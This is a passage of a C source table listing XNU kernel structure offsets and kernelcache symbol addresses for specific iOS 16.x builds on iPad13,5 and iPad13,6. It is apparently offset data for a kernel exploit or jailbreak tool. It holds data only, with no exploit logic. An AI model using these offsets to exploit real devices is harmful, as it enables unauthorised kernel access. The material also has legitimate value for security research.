.kernelcache__gPhysSize = 0xfffffe0007a7ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a7e198,\n            .kernelcache__perfmon_devices = 0xfffffe000ab0b520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d03c0,\n            .kernelcache__ptov_table = 0xfffffe00079cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab0a990,\n            .kernelcache__vm_pages = 0xfffffe00079c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab0a988,\n            .kernelcache__vn_kqfilter = 0xfffffe000811f2b4,\n        },\n\n        // iOS 16.5\n            {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:54 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad13,5\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aad5288,\n            .kernelcache__gPhysBase = 0xfffffe0007a84100,\n            .kernelcache__gPhysSize = 0xfffffe0007a84100 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a822d8,\n            .kernelcache__perfmon_devices = 0xfffffe000ab13520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d45c0,\n            .kernelcache__ptov_table = 0xfffffe00079cf188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab12990,\n            .kernelcache__vm_pages = 0xfffffe00079cbeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ce128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab12988,\n            .kernelcache__vn_kqfilter = 0xfffffe000812374c,\n        },\n\n        // iOS 16.6b1\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:17:58 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8103\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPad13,5\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000ab85ab0,\n            .kernelcache__gPhysBase = 0xfffffe0007a982a8,\n            .kernelcache__gPhysSize = 0xfffffe0007a982a8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a96460,\n            .kernelcache__perfmon_devices = 0xfffffe000abc5550,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080f8dfc,\n            .kernelcache__ptov_table = 0xfffffe00079e39c8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000abc4910,\n            .kernelcache__vm_pages = 0xfffffe00079e0108,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079e2968,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000abc4908,\n            .kernelcache__vn_kqfilter = 0xfffffe0008147958,\n        },\n\n        // iPad Pro 11 inch 5th //\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:09:33 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad13,6\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a9f5190,\n            .kernelcache__gPhysBase = 0xfffffe00079a00c8,\n            .kernelcache__gPhysSize = 0xfffffe00079a00c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e2a8,\n            .kernelcache__perfmon_devices = 0xfffffe000aa303b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7f50,\n            .kernelcache__ptov_table = 0xfffffe00078eb378,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa2f800,\n            .kernelcache__vm_pages = 0xfffffe00078e8090,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea328,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa2f7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a50c,\n        },\n\n        // iOS 16.3\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad13,6\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa01190,\n            .kernelcache__gPhysBase = 0xfffffe00079a01b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a01b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e390,\n            .kernelcache__perfmon_devices = 0xfffffe000aa3c3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7cc4,\n            .kernelcache__ptov_table = 0xfffffe00078eb3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa3b800,\n            .kernelcache__vm_pages = 0xfffffe00078e80d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa3b7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a280,\n        },\n\n        // iOS 16.3.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad13,6\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa01190,\n            .kernelcache__gPhysBase = 0xfffffe00079a01b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a01b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e390,\n            .kernelcache__perfmon_devices = 0xfffffe000aa3c3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7cc4,\n            .kernelcache__ptov_table = 0xfffffe00078eb3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa3b800,\n            .kernelcache__vm_pages = 0xfffffe00078e80d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa3b7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a280,\n        },\n\n        // iOS 16.4\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad13,6\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aacd208,\n            .kernelcache__gPhysBase = 0xfffffe0007a7ffc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a7ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a7e198,\n            .kernelcache__perfmon_devices = 0xfffffe000ab0b520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d03c0,\n            .kernelcache__ptov_table = 0xfffffe00079cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab0a990,\n            .kernelcache__vm_pages = 0xfffffe00079c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab0a988,\n            .kernelcache__vn_kqfilter = 0xfffffe000811f2b4,\n        },\n\n        // iOS 16.4.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad13,6\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aacd208,\n            .kernelcache__gPhysBase = 0xfffffe0007a7ffc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a7ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a7e198,\n            .kernelcache__perfmon_devices = 0xfffffe000ab0b520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d03c0,\n            .kernelcache__ptov_table = 0xfffffe00079cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab0a990,\n            .kernelcache__vm_pages = 0xfffffe00079c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab0a988,\n            .kernelcache__vn_kqfilter = 0xfffffe000811f2b4,\n        },\n\n        // iOS 16.5\n            {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:54 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad13,6\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            